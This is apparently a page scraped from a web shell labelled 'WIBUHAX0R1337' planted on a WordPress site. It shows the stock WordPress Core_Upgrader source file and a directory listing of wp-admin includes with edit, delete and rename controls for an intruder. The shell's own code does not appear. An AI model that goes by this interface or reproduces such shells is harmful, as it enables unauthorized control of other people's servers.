WIBUHAX0R1337

- WIBUHAX0R1337 -

/home/cideo/www/wp-adminVIp/includes/ [ Home ]

Create Folder Create File

<?php
/**
 * Upgrade API: Core_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for updating core.
 *
 * It allows for WordPress to upgrade itself in combination with
 * the wp-admin/includes/update-core.php file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Core_Upgrader extends WP_Upgrader {

/**
	 * Initialize the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'WordPress is at the latest version.' );
		$this->strings['locked']     = __( 'Another update is currently in progress.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package']   = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
		$this->strings['unpack_package']        = __( 'Unpacking the update&#8230;' );
		$this->strings['copy_failed']           = __( 'Could not copy files.' );
		$this->strings['copy_failed_space']     = __( 'Could not copy files. You may have run out of disk space.' );
		$this->strings['start_rollback']        = __( 'Attempting to roll back to previous version.' );
		$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has rolled back to your previous version.' );
	}

/**
	 * Upgrade WordPress core.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem                WordPress filesystem subclass.
	 * @global callable           $_wp_filesystem_direct_method
	 *
	 * @param object $current Response object for whether WordPress is current.
	 * @param array  $args {
	 *     Optional. Arguments for upgrading WordPress core. Default empty array.
	 *
	 *     @type bool $pre_check_md5    Whether to check the file checksums before
	 *                                  attempting the upgrade. Default true.
	 *     @type bool $attempt_rollback Whether to attempt to rollback the chances if
	 *                                  there is a problem. Default false.
	 *     @type bool $do_rollback      Whether to perform this "upgrade" as a rollback.
	 *                                  Default false.
	 * }
	 * @return string|false|WP_Error New WordPress version on success, false or WP_Error on failure.
	 */
	public function upgrade( $current, $args = array() ) {
		global $wp_filesystem;

require ABSPATH . WPINC . '/version.php'; // $wp_version;

$start_time = time();

$defaults    = array(
			'pre_check_md5'                => true,
			'attempt_rollback'             => false,
			'do_rollback'                  => false,
			'allow_relaxed_file_ownership' => false,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->upgrade_strings();

// Is an update available?
		if ( ! isset( $current->response ) || 'latest' === $current->response ) {
			return new WP_Error( 'up_to_date', $this->strings['up_to_date'] );
		}

$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
		if ( ! $res || is_wp_error( $res ) ) {
			return $res;
		}

$wp_dir = trailingslashit( $wp_filesystem->abspath() );

$partial = true;
		if ( $parsed_args['do_rollback'] ) {
			$partial = false;
		} elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() ) {
			$partial = false;
		}

/*
		 * If partial update is returned from the API, use that, unless we're doing
		 * a reinstallation. If we cross the new_bundled version number, then use
		 * the new_bundled zip. Don't though if the constant is set to skip bundled items.
		 * If the API returns a no_content zip, go with it. Finally, default to the full zip.
		 */
		if ( $parsed_args['do_rollback'] && $current->packages->rollback ) {
			$to_download = 'rollback';
		} elseif ( $current->packages->partial && 'reinstall' !== $current->response && $wp_version === $current->partial_version && $partial ) {
			$to_download = 'partial';
		} elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
			&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
			$to_download = 'new_bundled';
		} elseif ( $current->packages->no_content ) {
			$to_download = 'no_content';
		} else {
			$to_download = 'full';
		}

// Lock to prevent multiple Core Updates occurring.
		$lock = WP_Upgrader::create_lock( 'core_updater', 15 * MINUTE_IN_SECONDS );
		if ( ! $lock ) {
			return new WP_Error( 'locked', $this->strings['locked'] );
		}

$download = $this->download_package( $current->packages->$to_download, true );

// Allow for signature soft-fail.
		// WARNING: This may be removed in the future.
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {
			// Output the failure error as a normal feedback, and not as an error:
			/** This filter is documented in wp-admin/includes/update-core.php */
			apply_filters( 'update_feedback', $download->get_error_message() );

// Report this failure back to WordPress.org for debugging purposes.
			wp_version_check(
				array(
					'signature_failure_code' => $download->get_error_code(),
					'signature_failure_data' => $download->get_error_data(),
				)
			);

// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

if ( is_wp_error( $download ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $download;
		}

$working_dir = $this->unpack_package( $download );
		if ( is_wp_error( $working_dir ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $working_dir;
		}

// Copy update-core.php from the new version into place.
		if ( ! $wp_filesystem->copy( $working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true ) ) {
			$wp_filesystem->delete( $working_dir, true );
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
		}
		$wp_filesystem->chmod( $wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE );

wp_opcache_invalidate( ABSPATH . 'wp-admin/includes/update-core.php' );
		require_once ABSPATH . 'wp-admin/includes/update-core.php';

if ( ! function_exists( 'update_core' ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
		}

$result = update_core( $working_dir, $wp_dir );

// In the event of an issue, we may be able to roll back.
		if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
			$try_rollback = false;
			if ( is_wp_error( $result ) ) {
				$error_code = $result->get_error_code();
				/*
				 * Not all errors are equal. These codes are critical: copy_failed__copy_dir,
				 * mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
				 * do_rollback allows for update_core() to trigger a rollback if needed.
				 */
				if ( false !== strpos( $error_code, 'do_rollback' ) ) {
					$try_rollback = true;
				} elseif ( false !== strpos( $error_code, '__copy_dir' ) ) {
					$try_rollback = true;
				} elseif ( 'disk_full' === $error_code ) {
					$try_rollback = true;
				}
			}

if ( $try_rollback ) {
				/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $result );

/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $this->strings['start_rollback'] );

$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );

$original_result = $result;
				$result          = new WP_Error(
					'rollback_was_required',
					$this->strings['rollback_was_required'],
					(object) array(
						'update'   => $original_result,
						'rollback' => $rollback_result,
					)
				);
			}
		}

/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'core',
			)
		);

// Clear the current updates.
		delete_site_transient( 'update_core' );

if ( ! $parsed_args['do_rollback'] ) {
			$stats = array(
				'update_type'      => $current->response,
				'success'          => true,
				'fs_method'        => $wp_filesystem->method,
				'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
				'fs_method_direct' => ! empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
				'time_taken'       => time() - $start_time,
				'reported'         => $wp_version,
				'attempted'        => $current->version,
			);

if ( is_wp_error( $result ) ) {
				$stats['success'] = false;
				// Did a rollback occur?
				if ( ! empty( $try_rollback ) ) {
					$stats['error_code'] = $original_result->get_error_code();
					$stats['error_data'] = $original_result->get_error_data();
					// Was the rollback successful? If not, collect its error too.
					$stats['rollback'] = ! is_wp_error( $rollback_result );
					if ( is_wp_error( $rollback_result ) ) {
						$stats['rollback_code'] = $rollback_result->get_error_code();
						$stats['rollback_data'] = $rollback_result->get_error_data();
					}
				} else {
					$stats['error_code'] = $result->get_error_code();
					$stats['error_data'] = $result->get_error_data();
				}
			}

wp_version_check( $stats );
		}

WP_Upgrader::release_lock( 'core_updater' );

return $result;
	}

/**
	 * Determines if this WordPress Core version should update to an offered version or not.
	 *
	 * @since 3.7.0
	 *
	 * @param string $offered_ver The offered version, of the format x.y.z.
	 * @return bool True if we should update to the offered version, otherwise false.
	 */
	public static function should_update_to_version( $offered_ver ) {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version ), 0, 2 ) ); // x.y
		$new_branch     = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y

$current_is_development_version = (bool) strpos( $wp_version, '-' );

// Defaults:
		$upgrade_dev   = get_site_option( 'auto_update_core_dev', 'enabled' ) === 'enabled';
		$upgrade_minor = get_site_option( 'auto_update_core_minor', 'enabled' ) === 'enabled';
		$upgrade_major = get_site_option( 'auto_update_core_major', 'unset' ) === 'enabled';

// WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false.
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
			if ( false === WP_AUTO_UPDATE_CORE ) {
				// Defaults to turned off, unless a filter allows it.
				$upgrade_dev   = false;
				$upgrade_minor = false;
				$upgrade_major = false;
			} elseif ( true === WP_AUTO_UPDATE_CORE
				|| in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
			) {
				// ALL updates for core.
				$upgrade_dev   = true;
				$upgrade_minor = true;
				$upgrade_major = true;
			} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
				// Only minor updates for core.
				$upgrade_dev   = false;
				$upgrade_minor = true;
				$upgrade_major = false;
			}
		}

// 1: If we're already on that version, not much point in updating?
		if ( $offered_ver === $wp_version ) {
			return false;
		}

// 2: If we're running a newer version, that's a nope.
		if ( version_compare( $wp_version, $offered_ver, '>' ) ) {
			return false;
		}

$failure_data = get_site_option( 'auto_core_update_failed' );
		if ( $failure_data ) {
			// If this was a critical update failure, cannot update.
			if ( ! empty( $failure_data['critical'] ) ) {
				return false;
			}

// Don't claim we can update on update-core.php if we have a non-critical failure logged.
			if ( $wp_version === $failure_data['current'] && false !== strpos( $offered_ver, '.1.next.minor' ) ) {
				return false;
			}

/*
			 * Cannot update if we're retrying the same A to B update that caused a non-critical failure.
			 * Some non-critical failures do allow retries, like download_failed.
			 * 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
			 */
			if ( empty( $failure_data['retry'] ) && $wp_version === $failure_data['current'] && $offered_ver === $failure_data['attempted'] ) {
				return false;
			}
		}

// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2.
		if ( $current_is_development_version ) {

/**
			 * Filters whether to enable automatic core updates for development versions.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_dev Whether to enable automatic updates for
			 *                          development versions.
			 */
			if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) ) {
				return false;
			}
			// Else fall through to minor + major branches below.
		}

// 4: Minor in-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4).
		if ( $current_branch === $new_branch ) {

/**
			 * Filters whether to enable minor automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_minor Whether to enable minor automatic core updates.
			 */
			return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
		}

// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1).
		if ( version_compare( $new_branch, $current_branch, '>' ) ) {

/**
			 * Filters whether to enable major automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_major Whether to enable major automatic core updates.
			 */
			return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
		}

// If we're not sure, we don't want it.
		return false;
	}

/**
	 * Compare the disk file checksums against the expected checksums.
	 *
	 * @since 3.7.0
	 *
	 * @global string $wp_version       The WordPress version string.
	 * @global string $wp_local_package Locale code of the package.
	 *
	 * @return bool True if the checksums match, otherwise false.
	 */
	public function check_files() {
		global $wp_version, $wp_local_package;

$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );

if ( ! is_array( $checksums ) ) {
			return false;
		}

foreach ( $checksums as $file => $checksum ) {
			// Skip files which get updated.
			if ( 'wp-content' === substr( $file, 0, 10 ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum ) {
				return false;
			}
		}

return true;
	}
}

Nama File / Folder	Size	Action
admin-filters.php	7.585KB	Edit File Delete File Rename
admin.php	3.543KB	Edit File Delete File Rename
ajax-actions.php	147.152KB	Edit File Delete File Rename
beginedit.php	0KB	Edit File Delete File Rename
bookmark.php	11.397KB	Edit File Delete File Rename
class-automatic-upgrader-skin.php	3.581KB	Edit File Delete File Rename
class-bulk-plugin-upgrader-skin.php	2.2KB	Edit File Delete File Rename
class-bulk-theme-upgrader-skin.php	2.271KB	Edit File Delete File Rename
class-bulk-upgrader-skin.php	5.438KB	Edit File Delete File Rename
class-core-upgrader.php	14.648KB	Edit File Delete File Rename
class-custom-image-header.php	47.207KB	Edit File Delete File Rename
class-file-upload-upgrader.php	4.119KB	Edit File Delete File Rename
class-ftp-pure.php	5.299KB	Edit File Delete File Rename
class-ftp-sockets.php	8.28KB	Edit File Delete File Rename
class-language-pack-upgrader-skin.php	2.419KB	Edit File Delete File Rename
class-pclzip.php	192.106KB	Edit File Delete File Rename
class-plugin-installer-skin.php	11.597KB	Edit File Delete File Rename
class-plugin-upgrader-skin.php	3.2KB	Edit File Delete File Rename
class-plugin-upgrader.php	21.145KB	Edit File Delete File Rename
class-theme-installer-skin.php	12.264KB	Edit File Delete File Rename
class-theme-upgrader-skin.php	4.068KB	Edit File Delete File Rename
class-theme-upgrader.php	24.525KB	Edit File Delete File Rename
class-walker-category-checklist.php	4.756KB	Edit File Delete File Rename
class-walker-nav-menu-checklist.php	5.497KB	Edit File Delete File Rename
class-wp-ajax-upgrader-skin.php	4.099KB	Edit File Delete File Rename
class-wp-application-passwords-list-table.php	6.727KB	Edit File Delete File Rename
class-wp-comments-list-table.php	30.613KB	Edit File Delete File Rename
class-wp-community-events.php	18.328KB	Edit File Delete File Rename
class-wp-filesystem-base.php	22.864KB	Edit File Delete File Rename
class-wp-filesystem-ftpsockets.php	16.821KB	Edit File Delete File Rename
class-wp-importer.php	7.273KB	Edit File Delete File Rename
class-wp-links-list-table.php	8.258KB	Edit File Delete File Rename
class-wp-list-table-compat.php	1.462KB	Edit File Delete File Rename
class-wp-media-list-table.php	25.735KB	Edit File Delete File Rename
class-wp-ms-sites-list-table.php	20.319KB	Edit File Delete File Rename
class-wp-ms-themes-list-table.php	27.121KB	Edit File Delete File Rename
class-wp-ms-users-list-table.php	14.435KB	Edit File Delete File Rename
class-wp-plugin-install-list-table.php	23.689KB	Edit File Delete File Rename
class-wp-plugins-list-table.php	48.404KB	Edit File Delete File Rename
class-wp-post-comments-list-table.php	1.419KB	Edit File Delete File Rename
class-wp-posts-list-table.php	60.517KB	Edit File Delete File Rename
class-wp-privacy-data-export-requests-list-table.php	5.433KB	Edit File Delete File Rename
class-wp-privacy-data-removal-requests-list-table.php	5.559KB	Edit File Delete File Rename
class-wp-privacy-policy-content.php	31.593KB	Edit File Delete File Rename
class-wp-site-health-auto-updates.php	13.196KB	Edit File Delete File Rename
class-wp-site-health.php	111.651KB	Edit File Delete File Rename
class-wp-site-icon.php	6.141KB	Edit File Delete File Rename
class-wp-terms-list-table.php	19.137KB	Edit File Delete File Rename
class-wp-theme-install-list-table.php	15.308KB	Edit File Delete File Rename
class-wp-themes-list-table.php	9.985KB	Edit File Delete File Rename
class-wp-upgrader-skin.php	6.342KB	Edit File Delete File Rename
class-wp-upgrader-skins.php	1.442KB	Edit File Delete File Rename
class-wp-upgrader.php	36.589KB	Edit File Delete File Rename
class-wp-users-list-table.php	18.417KB	Edit File Delete File Rename
continents-cities.php	20.059KB	Edit File Delete File Rename
credits.php	5.798KB	Edit File Delete File Rename
dashboard.php	67.78KB	Edit File Delete File Rename
deprecated.php	40.736KB	Edit File Delete File Rename
edit-tag-messages.php	1.443KB	Edit File Delete File Rename
file.php	91.716KB	Edit File Delete File Rename
import.php	6.52KB	Edit File Delete File Rename
list-table.php	3.713KB	Edit File Delete File Rename
media.php	115.153KB	Edit File Delete File Rename
meta-boxes.php	64.378KB	Edit File Delete File Rename
ms-admin-filters.php	1.266KB	Edit File Delete File Rename
ms-deprecated.php	3.682KB	Edit File Delete File Rename
ms.php	32.786KB	Edit File Delete File Rename
nav-menu.php	45.995KB	Edit File Delete File Rename
noop.php	1.062KB	Edit File Delete File Rename
options.php	4.048KB	Edit File Delete File Rename
plugin-install.php	34.082KB	Edit File Delete File Rename
plugin.php	87.699KB	Edit File Delete File Rename
post.php	75.731KB	Edit File Delete File Rename
privacy-tools.php	32.674KB	Edit File Delete File Rename
revision.php	15.746KB	Edit File Delete File Rename
schema.php	41.77KB	Edit File Delete File Rename
screen.php	6.206KB	Edit File Delete File Rename
taxonomy.php	8.22KB	Edit File Delete File Rename
template.php	95.108KB	Edit File Delete File Rename
translation-install.php	8.686KB	Edit File Delete File Rename
upgrade.php	108.247KB	Edit File Delete File Rename